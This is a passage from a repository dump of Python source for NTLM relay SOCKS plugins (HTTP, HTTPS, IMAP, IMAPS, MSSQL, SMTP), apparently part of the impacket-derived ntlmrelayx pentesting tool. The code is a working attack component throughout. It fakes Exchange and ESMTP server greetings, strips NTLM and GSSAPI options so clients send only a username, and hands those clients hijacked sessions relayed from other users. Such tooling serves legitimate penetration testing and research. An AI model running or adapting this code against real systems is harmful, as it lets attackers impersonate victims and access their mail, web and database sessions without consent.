| # Currently we only use the first part of the FQDN 59 | # this might break stuff on tools that do use an FQDN 60 | # where the domain NETBIOS name is not equal to the part 61 | # before the first . 62 | self.username = '%s/%s' % (domain.split('.')[0], user) 63 | 64 | # Check if we have a connection for the user 65 | if self.activeRelays.has_key(self.username): 66 | # Check the connection is not inUse 67 | if self.activeRelays[self.username]['inUse'] is True: 68 | LOG.error('HTTP: Connection for %s@%s(%s) is being used at the moment!' % ( 69 | self.username, self.targetHost, self.targetPort)) 70 | return False 71 | else: 72 | LOG.info('HTTP: Proxying client session for %s@%s(%s)' % ( 73 | self.username, self.targetHost, self.targetPort)) 74 | self.session = self.activeRelays[self.username]['protocolClient'].session 75 | else: 76 | LOG.error('HTTP: No session for %s@%s(%s) available' % ( 77 | self.username, self.targetHost, self.targetPort)) 78 | return False 79 | 80 | except KeyError: 81 | # User didn't provide authentication yet, prompt for it 82 | LOG.debug('No authentication provided, prompting for basic authentication') 83 | reply = ['HTTP/1.1 401 Unauthorized','WWW-Authenticate: Basic realm="ntlmrelayx - provide a DOMAIN/username"','Connection: close','',''] 84 | self.socksSocket.send(EOL.join(reply)) 85 | return False 86 | 87 | # When we are here, we have a session 88 | # Point our socket to the sock attribute of HTTPConnection 89 | # (contained in the session), which contains the socket 90 | self.relaySocket = self.session.sock 91 | # Send the initial request to the server 92 | tosend = self.prepareRequest(data) 93 | self.relaySocket.send(tosend) 94 | # Send the response back to the client 95 | self.transferResponse() 96 | return True 97 | 98 | def getHeaders(self, data): 99 | # Get the headers from the request, ignore first "header" 100 | # since this is the HTTP method, identifier, version 101 | headerSize = data.find(EOL+EOL) 102 | headers = data[:headerSize].split(EOL)[1:] 103 | headerDict = {hdrKey.split(':')[0].lower():hdrKey.split(':', 1)[1][1:] for hdrKey in headers} 104 | return headerDict 105 | 106 | def transferResponse(self): 107 | data = self.relaySocket.recv(self.packetSize) 108 | headerSize = data.find(EOL+EOL) 109 | headers = self.getHeaders(data) 110 | try: 111 | bodySize = int(headers['content-length']) 112 | readSize = len(data) 113 | # Make sure we send the entire response, but don't keep it in memory 114 | self.socksSocket.send(data) 115 | while readSize < bodySize + headerSize + 4: 116 | data = self.relaySocket.recv(self.packetSize) 117 | readSize += len(data) 118 | self.socksSocket.send(data) 119 | except KeyError: 120 | try: 121 | if headers['transfer-encoding'] == 'chunked': 122 | # Chunked transfer-encoding, bah 123 | LOG.debug('Server sent chunked encoding - transferring') 124 | self.transferChunked(data, headers) 125 | else: 126 | # No body in the response, send as-is 127 | self.socksSocket.send(data) 128 | except KeyError: 129 | # No body in the response, send as-is 130 | self.socksSocket.send(data) 131 | 132 | def transferChunked(self, data, headers): 133 | headerSize = data.find(EOL+EOL) 134 | 135 | self.socksSocket.send(data[:headerSize + 4]) 136 | 137 | body = data[headerSize + 4:] 138 | # Size of the chunk 139 | datasize = int(body[:body.find(EOL)], 16) 140 | while datasize > 0: 141 | # Size of the total body 142 | bodySize = body.find(EOL) + 2 + datasize + 2 143 | readSize = len(body) 144 | # Make sure we send the entire response, but don't keep it in memory 145 | self.socksSocket.send(body) 146 | while readSize < bodySize: 147 | maxReadSize = bodySize - readSize 148 | body = self.relaySocket.recv(min(self.packetSize, maxReadSize)) 149 | readSize += len(body) 150 | self.socksSocket.send(body) 151 | body = self.relaySocket.recv(self.packetSize) 152 | datasize = int(body[:body.find(EOL)], 16) 153 | LOG.debug('Last chunk received - exiting chunked transfer') 154 | self.socksSocket.send(body) 155 | 156 | def prepareRequest(self, data): 157 | # Parse the HTTP data, removing headers that break stuff 158 | response = [] 159 | for part in data.split(EOL): 160 | # This means end of headers, stop parsing here 161 | if part == '': 162 | break 163 | # Remove the Basic authentication header 164 | if 'authorization' in part.lower(): 165 | continue 166 | # Don't close the connection 167 | if 'connection: close' in part.lower(): 168 | response.append('Connection: Keep-Alive') 169 | continue 170 | # If we are here it means we want to keep the header 171 | response.append(part) 172 | # Append the body 173 | response.append('') 174 | response.append(data.split(EOL+EOL)[1]) 175 | senddata = EOL.join(response) 176 | 177 | # Check if the body is larger than 1 packet 178 | headerSize = data.find(EOL+EOL) 179 | headers = self.getHeaders(data) 180 | body = data[headerSize+4:] 181 | try: 182 | bodySize = int(headers['content-length']) 183 | readSize = len(data) 184 | while readSize < bodySize + headerSize + 4: 185 | data = self.socksSocket.recv(self.packetSize) 186 | readSize += len(data) 187 | senddata += data 188 | except KeyError: 189 | # No body, could be a simple GET or a POST without body 190 | # no need to check if we already have the full packet 191 | pass 192 | return senddata 193 | 194 | 195 | def tunnelConnection(self): 196 | while True: 197 | data = self.socksSocket.recv(self.packetSize) 198 | # If this returns with an empty string, it means the socket was closed 199 | if data == '': 200 | return 201 | # Pass the request to the server 202 | tosend = self.prepareRequest(data) 203 | self.relaySocket.send(tosend) 204 | # Send the response back to the client 205 | self.transferResponse() 206 | 207 | 208 | 209 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/servers/socksplugins/https.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # A Socks Proxy for the HTTPS Protocol 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # A simple SOCKS server that proxies a connection to relayed HTTPS connections 14 | # 15 | # ToDo: 16 | # 17 | 18 | from nebulousAD.modimpacket import LOG 19 | from nebulousAD.modimpacket.examples.ntlmrelayx.servers.socksplugins.http import HTTPSocksRelay 20 | from nebulousAD.modimpacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 21 | from OpenSSL import SSL 22 | 23 | # Besides using this base class you need to define one global variable when 24 | # writing a plugin: 25 | PLUGIN_CLASS = "HTTPSSocksRelay" 26 | EOL = '\r\n' 27 | 28 | class HTTPSSocksRelay(SSLServerMixin, HTTPSocksRelay): 29 | PLUGIN_NAME = 'HTTPS Socks Plugin' 30 | PLUGIN_SCHEME = 'HTTPS' 31 | 32 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 33 | HTTPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 34 | 35 | @staticmethod 36 | def getProtocolPort(): 37 | return 443 38 | 39 | def skipAuthentication(self): 40 | LOG.debug('Wrapping client connection in TLS/SSL') 41 | self.wrapClientConnection() 42 | if not HTTPSocksRelay.skipAuthentication(self): 43 | # Shut down TLS connection 44 | self.socksSocket.shutdown() 45 | return False 46 | return True 47 | 48 | def tunnelConnection(self): 49 | while True: 50 | try: 51 | data = self.socksSocket.recv(self.packetSize) 52 | except SSL.ZeroReturnError: 53 | # The SSL connection was closed, return 54 | return 55 | # Pass the request to the server 56 | tosend = self.prepareRequest(data) 57 | self.relaySocket.send(tosend) 58 | # Send the response back to the client 59 | self.transferResponse() 60 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/servers/socksplugins/imap.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # A Socks Proxy for the IMAP Protocol 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # A simple SOCKS server that proxies a connection to relayed IMAP connections 14 | # 15 | # ToDo: 16 | # 17 | import logging 18 | import base64 19 | 20 | from imaplib import IMAP4 21 | from nebulousAD.modimpacket import LOG 22 | from nebulousAD.modimpacket.examples.ntlmrelayx.servers.socksserver import SocksRelay 23 | 24 | # Besides using this base class you need to define one global variable when 25 | # writing a plugin: 26 | PLUGIN_CLASS = "IMAPSocksRelay" 27 | EOL = '\r\n' 28 | 29 | class IMAPSocksRelay(SocksRelay): 30 | PLUGIN_NAME = 'IMAP Socks Plugin' 31 | PLUGIN_SCHEME = 'IMAP' 32 | 33 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 34 | SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 35 | self.packetSize = 8192 36 | self.idleState = False 37 | self.shouldClose = True 38 | 39 | @staticmethod 40 | def getProtocolPort(): 41 | return 143 42 | 43 | def getServerCapabilities(self): 44 | for key in self.activeRelays.keys(): 45 | if key != 'data' and key != 'scheme': 46 | if self.activeRelays[key].has_key('protocolClient'): 47 | return self.activeRelays[key]['protocolClient'].session.capabilities 48 | 49 | def initConnection(self): 50 | pass 51 | 52 | def skipAuthentication(self): 53 | self.socksSocket.sendall('* OK The Microsoft Exchange IMAP4 service is ready.'+EOL) 54 | 55 | # Next should be the client requesting CAPABILITIES 56 | tag, cmd = self.recvPacketClient() 57 | if cmd.upper() == 'CAPABILITY': 58 | clientcapabilities = list(self.getServerCapabilities()) 59 | # Don't offer these AUTH options so the client won't use them 60 | blacklist = ['AUTH=GSSAPI', 'AUTH=NTLM', 'LOGINDISABLED'] 61 | for cap in blacklist: 62 | if cap in clientcapabilities: 63 | clientcapabilities.remove(cap) 64 | 65 | # Offer PLAIN auth for specifying the username 66 | if 'AUTH=PLAIN' not in clientcapabilities: 67 | clientcapabilities.append('AUTH=PLAIN') 68 | # Offer LOGIN for specifying the username 69 | if 'LOGIN' not in clientcapabilities: 70 | clientcapabilities.append('LOGIN') 71 | 72 | LOG.debug('IMAP: Sending mirrored capabilities from server: %s' % ' '.join(clientcapabilities)) 73 | self.socksSocket.sendall('* CAPABILITY %s%s%s OK CAPABILITY completed.%s' % (' '.join(clientcapabilities), EOL, tag, EOL)) 74 | else: 75 | LOG.error('IMAP: Socks plugin expected CAPABILITY command, but got: %s' % cmd) 76 | return False 77 | # next 78 | tag, cmd = self.recvPacketClient() 79 | args = cmd.split(' ') 80 | if cmd.upper() == 'AUTHENTICATE PLAIN': 81 | # Send continuation command 82 | self.socksSocket.sendall('+'+EOL) 83 | # Client will now send their AUTH 84 | data = self.socksSocket.recv(self.packetSize) 85 | # This contains base64(\x00username\x00password), decode and split 86 | creds = base64.b64decode(data.strip()) 87 | self.username = creds.split('\x00')[1].upper() 88 | elif args[0].upper() == 'LOGIN': 89 | # Simple login 90 | self.username = args[1].upper() 91 | else: 92 | LOG.error('IMAP: Socks plugin expected LOGIN or AUTHENTICATE PLAIN command, but got: %s' % cmd) 93 | return False 94 | 95 | # Check if we have a connection for the user 96 | if self.activeRelays.has_key(self.username): 97 | # Check the connection is not inUse 98 | if self.activeRelays[self.username]['inUse'] is True: 99 | LOG.error('IMAP: Connection for %s@%s(%s) is being used at the moment!' % ( 100 | self.username, self.targetHost, self.targetPort)) 101 | return False 102 | else: 103 | LOG.info('IMAP: Proxying client session for %s@%s(%s)' % ( 104 | self.username, self.targetHost, self.targetPort)) 105 | self.session = self.activeRelays[self.username]['protocolClient'].session 106 | else: 107 | LOG.error('IMAP: No session for %s@%s(%s) available' % ( 108 | self.username, self.targetHost, self.targetPort)) 109 | return False 110 | 111 | # We arrived here, that means all is OK 112 | self.socksSocket.sendall('%s OK %s completed.%s' % (tag, args[0].upper(), EOL)) 113 | self.relaySocket = self.session.sock 114 | self.relaySocketFile = self.session.file 115 | return True 116 | 117 | def tunnelConnection(self): 118 | keyword = '' 119 | tag = '' 120 | while True: 121 | try: 122 | data = self.socksSocket.recv(self.packetSize) 123 | except Exception, e: 124 | # Socks socket (client) closed connection or something else. Not fatal for killing the existing relay 125 | print keyword, tag 126 | LOG.debug('IMAP: sockSocket recv(): %s' % (str(e))) 127 | break 128 | # If this returns with an empty string, it means the socket was closed 129 | if data == '': 130 | break 131 | # Set the new keyword, unless it is false, then break out of the function 132 | result = self.processTunnelData(keyword, tag, data) 133 | 134 | if result is False: 135 | break 136 | # If its not false, it's a tuple with the keyword and tag 137 | keyword, tag = result 138 | 139 | if tag != '': 140 | # Store the tag in the session so we can continue 141 | tag = int(tag) 142 | if self.idleState is True: 143 | self.relaySocket.sendall('DONE%s' % EOL) 144 | self.relaySocketFile.readline() 145 | 146 | if self.shouldClose: 147 | tag +=1 148 | self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL)) 149 | self.relaySocketFile.readline() 150 | 151 | self.session.tagnum = tag+1 152 | 153 | return 154 | 155 | def processTunnelData(self, keyword, tag, data): 156 | # Pass the request to the server, store the tag unless the last command 157 | # was a continuation. In the case of the continuation we still check if 158 | # there were commands issued after 159 | analyze = data.split(EOL)[:-1] 160 | if keyword == '+': 161 | # We do send the continuation to the server 162 | # but we don't analyze it 163 | self.relaySocket.sendall(analyze.pop(0)+EOL) 164 | keyword = '' 165 | 166 | for line in analyze: 167 | info = line.split(' ') 168 | tag = info[0] 169 | # See if a LOGOUT command was sent, in which case we want to close 170 | # the connection to the client but keep the relayed connection alive 171 | # also handle APPEND commands 172 | try: 173 | if info[1].upper() == 'IDLE': 174 | self.idleState = True 175 | elif info[1].upper() == 'DONE': 176 | self.idleState = False 177 | elif info[1].upper() == 'CLOSE': 178 | self.shouldClose = False 179 | elif info[1].upper() == 'LOGOUT': 180 | self.socksSocket.sendall('%s OK LOGOUT completed.%s' % (tag, EOL)) 181 | return False 182 | elif info[1].upper() == 'APPEND': 183 | LOG.debug('IMAP socks APPEND command detected, forwarding email data') 184 | # APPEND command sent, forward all the data, no further commands here 185 | self.relaySocket.sendall(data) 186 | sent = len(data) - len(line) + len(EOL) 187 | 188 | # https://tools.ietf.org/html/rfc7888 189 | literal = info[4][1:-1] 190 | if literal[-1] == '+': 191 | literalPlus = True 192 | totalSize = int(literal[:-1]) 193 | else: 194 | literalPlus = False 195 | totalSize = int(literal) 196 | 197 | while sent < totalSize: 198 | data = self.socksSocket.recv(self.packetSize) 199 | self.relaySocket.sendall(data) 200 | sent += len(data) 201 | LOG.debug('Forwarded %d bytes' % sent) 202 | 203 | if literalPlus: 204 | data = self.socksSocket.recv(self.packetSize) 205 | self.relaySocket.sendall(data) 206 | 207 | LOG.debug('IMAP socks APPEND command complete') 208 | # break out of the analysis loop 209 | break 210 | except IndexError: 211 | pass 212 | self.relaySocket.sendall(line+EOL) 213 | 214 | # Send the response back to the client, until the command is complete 215 | # or the server requests more data 216 | while keyword != tag and keyword != '+': 217 | try: 218 | data = self.relaySocketFile.readline() 219 | except Exception, e: 220 | # This didn't break the connection to the server, don't make it fatal 221 | LOG.debug("IMAP relaySocketFile: %s" % str(e)) 222 | return False 223 | keyword = data.split(' ', 2)[0] 224 | try: 225 | self.socksSocket.sendall(data) 226 | except Exception, e: 227 | LOG.debug("IMAP socksSocket: %s" % str(e)) 228 | return False 229 | 230 | # Return the keyword to indicate processing was OK 231 | return (keyword, tag) 232 | 233 | 234 | def recvPacketClient(self): 235 | data = self.socksSocket.recv(self.packetSize) 236 | space = data.find(' ') 237 | return (data[:space], data[space:].strip()) 238 | 239 | 240 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/servers/socksplugins/imaps.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # A Socks Proxy for the IMAPS Protocol 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # A simple SOCKS server that proxies a connection to relayed IMAPS connections 14 | # 15 | # ToDo: 16 | # 17 | from nebulousAD.modimpacket import LOG 18 | from nebulousAD.modimpacket.examples.ntlmrelayx.servers.socksplugins.imap import IMAPSocksRelay 19 | from nebulousAD.modimpacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 20 | from OpenSSL import SSL 21 | 22 | # Besides using this base class you need to define one global variable when 23 | # writing a plugin: 24 | PLUGIN_CLASS = "IMAPSSocksRelay" 25 | EOL = '\r\n' 26 | 27 | class IMAPSSocksRelay(SSLServerMixin, IMAPSocksRelay): 28 | PLUGIN_NAME = 'IMAPS Socks Plugin' 29 | PLUGIN_SCHEME = 'IMAPS' 30 | 31 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 32 | IMAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 33 | 34 | @staticmethod 35 | def getProtocolPort(): 36 | return 993 37 | 38 | def skipAuthentication(self): 39 | LOG.debug('Wrapping IMAP client connection in TLS/SSL') 40 | self.wrapClientConnection() 41 | try: 42 | if not IMAPSocksRelay.skipAuthentication(self): 43 | # Shut down TLS connection 44 | self.socksSocket.shutdown() 45 | return False 46 | except Exception, e: 47 | LOG.debug('IMAPS: %s' % str(e)) 48 | return False 49 | # Change our outgoing socket to the SSL object of IMAP4_SSL 50 | self.relaySocket = self.session.sslobj 51 | return True 52 | 53 | def tunnelConnection(self): 54 | keyword = '' 55 | tag = '' 56 | while True: 57 | try: 58 | data = self.socksSocket.recv(self.packetSize) 59 | except SSL.ZeroReturnError: 60 | # The SSL connection was closed, return 61 | break 62 | # Set the new keyword, unless it is false, then break out of the function 63 | result = self.processTunnelData(keyword, tag, data) 64 | if result is False: 65 | break 66 | # If its not false, it's a tuple with the keyword and tag 67 | keyword, tag = result 68 | 69 | if tag != '': 70 | # Store the tag in the session so we can continue 71 | tag = int(tag) 72 | if self.idleState is True: 73 | self.relaySocket.sendall('DONE%s' % EOL) 74 | self.relaySocketFile.readline() 75 | 76 | if self.shouldClose: 77 | tag += 1 78 | self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL)) 79 | self.relaySocketFile.readline() 80 | 81 | self.session.tagnum = tag + 1 82 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/servers/socksplugins/mssql.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # A Socks Proxy for the MSSQL Protocol 8 | # 9 | # Author: 10 | # Alberto Solino (@agsolino) 11 | # 12 | # Description: 13 | # A simple SOCKS server that proxy connection to relayed connections 14 | # 15 | # ToDo: 16 | # 17 | 18 | import struct 19 | import random 20 | import logging 21 | 22 | from nebulousAD.modimpacket import LOG 23 | from nebulousAD.modimpacket.examples.ntlmrelayx.servers.socksserver import SocksRelay 24 | from nebulousAD.modimpacket.tds import TDSPacket, TDS_STATUS_NORMAL, TDS_STATUS_EOM, TDS_PRE_LOGIN, TDS_ENCRYPT_NOT_SUP, TDS_TABULAR, TDS_LOGIN, TDS_LOGIN7, TDS_PRELOGIN, TDS_INTEGRATED_SECURITY_ON 25 | from nebulousAD.modimpacket.ntlm import NTLMAuthChallengeResponse 26 | try: 27 | import OpenSSL 28 | from OpenSSL import SSL, crypto 29 | except: 30 | LOG.critical("pyOpenSSL is not installed, can't continue") 31 | raise 32 | 33 | # Besides using this base class you need to define one global variable when 34 | # writing a plugin: 35 | PLUGIN_CLASS = "MSSQLSocksRelay" 36 | 37 | class MSSQLSocksRelay(SocksRelay): 38 | PLUGIN_NAME = 'MSSQL Socks Plugin' 39 | PLUGIN_SCHEME = 'MSSQL' 40 | 41 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 42 | SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 43 | self.isSSL = False 44 | self.tlsSocket = None 45 | self.packetSize = 32763 46 | self.session = None 47 | 48 | @staticmethod 49 | def getProtocolPort(): 50 | return 1433 51 | 52 | def initConnection(self): 53 | pass 54 | 55 | def skipAuthentication(self): 56 | 57 | # 1. First packet should be a TDS_PRELOGIN() 58 | tds = self.recvTDS() 59 | if tds['Type'] != TDS_PRE_LOGIN: 60 | # Unexpected packet 61 | LOG.debug('Unexpected packet type %d instead of TDS_PRE_LOGIN' % tds['Type']) 62 | return False 63 | 64 | prelogin = TDS_PRELOGIN() 65 | prelogin['Version'] = "\x08\x00\x01\x55\x00\x00" 66 | prelogin['Encryption'] = TDS_ENCRYPT_NOT_SUP 67 | prelogin['ThreadID'] = struct.pack('=0: 103 | try: 104 | self.username = login['UserName'].upper().decode('utf-16le') 105 | except UnicodeDecodeError: 106 | # Not Unicode encoded? 107 | self.username = login['UserName'].upper() 108 | 109 | else: 110 | try: 111 | self.username = ('/%s' % login['UserName'].decode('utf-16le')).upper() 112 | except UnicodeDecodeError: 113 | # Not Unicode encoded? 114 | self.username = ('/%s' % login['UserName']).upper() 115 | 116 | # Check if we have a connection for the user 117 | if self.activeRelays.has_key(self.username): 118 | # Check the connection is not inUse 119 | if self.activeRelays[self.username]['inUse'] is True: 120 | LOG.error('MSSQL: Connection for %s@%s(%s) is being used at the moment!' % ( 121 | self.username, self.targetHost, self.targetPort)) 122 | return False 123 | else: 124 | LOG.info('MSSQL: Proxying client session for %s@%s(%s)' % ( 125 | self.username, self.targetHost, self.targetPort)) 126 | self.session = self.activeRelays[self.username]['protocolClient'].session 127 | else: 128 | LOG.error('MSSQL: No session for %s@%s(%s) available' % ( 129 | self.username, self.targetHost, self.targetPort)) 130 | return False 131 | 132 | # We have a session relayed, let's answer back with the data 133 | if login['OptionFlags2'] & TDS_INTEGRATED_SECURITY_ON: 134 | TDSResponse = self.sessionData['AUTH_ANSWER'] 135 | self.sendTDS(TDSResponse['Type'], TDSResponse['Data'], 0) 136 | else: 137 | TDSResponse = self.sessionData['AUTH_ANSWER'] 138 | self.sendTDS(TDSResponse['Type'], TDSResponse['Data'], 0) 139 | 140 | return True 141 | 142 | def tunnelConnection(self): 143 | # For the rest of the remaining packets, we should just read and send. Except when trying to log out, 144 | # that's forbidden! ;) 145 | try: 146 | while True: 147 | # 1. Get Data from client 148 | tds = self.recvTDS() 149 | # 2. Send it to the relayed session 150 | self.session.sendTDS(tds['Type'], tds['Data'], 0) 151 | # 3. Get the target's answer 152 | tds = self.session.recvTDS() 153 | # 4. Send it back to the client 154 | self.sendTDS(tds['Type'], tds['Data'], 0) 155 | except Exception, e: 156 | # Probably an error here 157 | if LOG.level == logging.DEBUG: 158 | import traceback 159 | traceback.print_exc() 160 | 161 | return True 162 | 163 | def sendTDS(self, packetType, data, packetID = 1): 164 | if (len(data)-8) > self.packetSize: 165 | remaining = data[self.packetSize-8:] 166 | tds = TDSPacket() 167 | tds['Type'] = packetType 168 | tds['Status'] = TDS_STATUS_NORMAL 169 | tds['PacketID'] = packetID 170 | tds['Data'] = data[:self.packetSize-8] 171 | self.socketSendall(str(tds)) 172 | 173 | while len(remaining) > (self.packetSize-8): 174 | packetID += 1 175 | tds['PacketID'] = packetID 176 | tds['Data'] = remaining[:self.packetSize-8] 177 | self.socketSendall(str(tds)) 178 | remaining = remaining[self.packetSize-8:] 179 | data = remaining 180 | packetID+=1 181 | 182 | tds = TDSPacket() 183 | tds['Type'] = packetType 184 | tds['Status'] = TDS_STATUS_EOM 185 | tds['PacketID'] = packetID 186 | tds['Data'] = data 187 | self.socketSendall(str(tds)) 188 | 189 | def socketSendall(self,data): 190 | if self.tlsSocket is None: 191 | return self.socksSocket.sendall(data) 192 | else: 193 | self.tlsSocket.sendall(data) 194 | dd = self.tlsSocket.bio_read(self.packetSize) 195 | return self.socksSocket.sendall(dd) 196 | 197 | def socketRecv(self, packetSize): 198 | data = self.socksSocket.recv(packetSize) 199 | if self.tlsSocket is not None: 200 | dd = '' 201 | self.tlsSocket.bio_write(data) 202 | while True: 203 | try: 204 | dd += self.tlsSocket.read(packetSize) 205 | except SSL.WantReadError: 206 | data2 = self.socket.recv(packetSize - len(data) ) 207 | self.tlsSocket.bio_write(data2) 208 | pass 209 | else: 210 | data = dd 211 | break 212 | return data 213 | 214 | def recvTDS(self, packetSize=None): 215 | # Do reassembly here 216 | if packetSize is None: 217 | packetSize = self.packetSize 218 | packet = TDSPacket(self.socketRecv(packetSize)) 219 | status = packet['Status'] 220 | packetLen = packet['Length'] - 8 221 | while packetLen > len(packet['Data']): 222 | data = self.socketRecv(packetSize) 223 | packet['Data'] += data 224 | 225 | remaining = None 226 | if packetLen < len(packet['Data']): 227 | remaining = packet['Data'][packetLen:] 228 | packet['Data'] = packet['Data'][:packetLen] 229 | 230 | while status != TDS_STATUS_EOM: 231 | if remaining is not None: 232 | tmpPacket = TDSPacket(remaining) 233 | else: 234 | tmpPacket = TDSPacket(self.socketRecv(packetSize)) 235 | 236 | packetLen = tmpPacket['Length'] - 8 237 | while packetLen > len(tmpPacket['Data']): 238 | data = self.socketRecv(packetSize) 239 | tmpPacket['Data'] += data 240 | 241 | remaining = None 242 | if packetLen < len(tmpPacket['Data']): 243 | remaining = tmpPacket['Data'][packetLen:] 244 | tmpPacket['Data'] = tmpPacket['Data'][:packetLen] 245 | 246 | status = tmpPacket['Status'] 247 | packet['Data'] += tmpPacket['Data'] 248 | packet['Length'] += tmpPacket['Length'] - 8 249 | 250 | # print packet['Length'] 251 | return packet 252 | 253 | 254 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/servers/socksplugins/smtp.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # A Socks Proxy for the SMTP Protocol 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # A simple SOCKS server that proxies a connection to relayed SMTP connections 14 | # 15 | # ToDo: 16 | # 17 | import logging 18 | import base64 19 | 20 | from smtplib import SMTP 21 | from nebulousAD.modimpacket import LOG 22 | from nebulousAD.modimpacket.examples.ntlmrelayx.servers.socksserver import SocksRelay 23 | 24 | # Besides using this base class you need to define one global variable when 25 | # writing a plugin: 26 | PLUGIN_CLASS = "SMTPSocksRelay" 27 | EOL = '\r\n' 28 | 29 | class SMTPSocksRelay(SocksRelay): 30 | PLUGIN_NAME = 'SMTP Socks Plugin' 31 | PLUGIN_SCHEME = 'SMTP' 32 | 33 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 34 | SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 35 | self.packetSize = 8192 36 | 37 | @staticmethod 38 | def getProtocolPort(): 39 | return 25 40 | 41 | def getServerEhlo(self): 42 | for key in self.activeRelays.keys(): 43 | if key != 'data' and key != 'scheme': 44 | if self.activeRelays[key].has_key('protocolClient'): 45 | return self.activeRelays[key]['protocolClient'].session.ehlo_resp 46 | 47 | def initConnection(self): 48 | pass 49 | 50 | def skipAuthentication(self): 51 | self.socksSocket.send('220 Microsoft ESMTP MAIL Service ready'+EOL) 52 | 53 | # Next should be the client sending the EHLO command 54 | cmd, params = self.recvPacketClient().split(' ',1) 55 | if cmd.upper() == 'EHLO': 56 | clientcapabilities = self.getServerEhlo().split('\n') 57 | # Don't offer these AUTH options so the client won't use them 58 | # also don't offer STARTTLS since that will break things 59 | blacklist = ['X-EXPS GSSAPI NTLM', 'STARTTLS', 'AUTH NTLM'] 60 | for cap in blacklist: 61 | if cap in clientcapabilities: 62 | clientcapabilities.remove(cap) 63 | 64 | # Offer PLAIN auth for specifying the username 65 | if 'AUTH PLAIN' not in clientcapabilities: 66 | clientcapabilities.append('AUTH PLAIN') 67 | # Offer LOGIN for specifying the username 68 | if 'AUTH LOGIN' not in clientcapabilities: 69 | clientcapabilities.append('AUTH LOGIN') 70 | 71 | LOG.debug('SMTP: Sending mirrored capabilities from server: %s' % ', '.join(clientcapabilities)) 72 | # Prepare capabilities 73 | delim = EOL+'250-' 74 | caps = delim.join(clientcapabilities[:-1]) + EOL + '250 ' + clientcapabilities[-1] + EOL 75 | self.socksSocket.send('250-%s' % caps) 76 | else: 77 | LOG.error('SMTP: Socks plugin expected EHLO command, but got: %s %s' % (cmd, params)) 78 | return False 79 | # next 80 | cmd, params = self.recvPacketClient().split(' ', 1) 81 | args = params.split(' ') 82 | if cmd.upper() == 'AUTH' and args[0] == 'LOGIN': 83 | # OK, ask for their username 84 | self.socksSocket.send('334 VXNlcm5hbWU6'+EOL) 85 | # Client will now send their AUTH 86 | data = self.socksSocket.recv(self.packetSize) 87 | # This contains base64(username), decode 88 | creds = base64.b64decode(data.strip()) 89 | self.username = creds.upper() 90 | # Client will now send the password, we don't care for it but receive it anyway 91 | self.socksSocket.send('334 UGFzc3dvcmQ6'+EOL) 92 | data = self.socksSocket.recv(self.packetSize) 93 | elif cmd.upper() == 'AUTH' and args[0] == 'PLAIN': 94 | # Simple login 95 | # This contains base64(\x00username\x00password), decode and split 96 | creds = base64.b64decode(args[1].strip()) 97 | self.username = creds.split('\x00')[1].upper() 98 | else: 99 | LOG.error('SMTP: Socks plugin expected AUTH PLAIN or AUTH LOGIN command, but got: %s %s' % (cmd, params)) 100 | return False 101 | 102 | # Check if we have a connection for the user 103 | if self.activeRelays.has_key(self.username): 104 | # Check the connection is not inUse 105 | if self.activeRelays[self.username]['inUse'] is True: 106 | LOG.error('SMTP: Connection for %s@%s(%s) is being used at the moment!' % ( 107 | self.username, self.targetHost, self.targetPort)) 108 | return False 109 | else: 110 | LOG.info('SMTP: Proxying client session for %s@%s(%s)' % ( 111 | self.username, self.targetHost, self.targetPort)) 112 | self.session = self.activeRelays[self.username]['protocolClient'].session 113 | else: 114 | LOG.error('SMTP: No session for %s@%s(%s) available' % ( 115 | self.username, self.targetHost, self.targetPort)) 116 | return False 117 | 118 | # We arrived here, that means all is OK 119 | self.socksSocket.send('235 2.7.0 Authentication successful%s' % EOL) 120 | 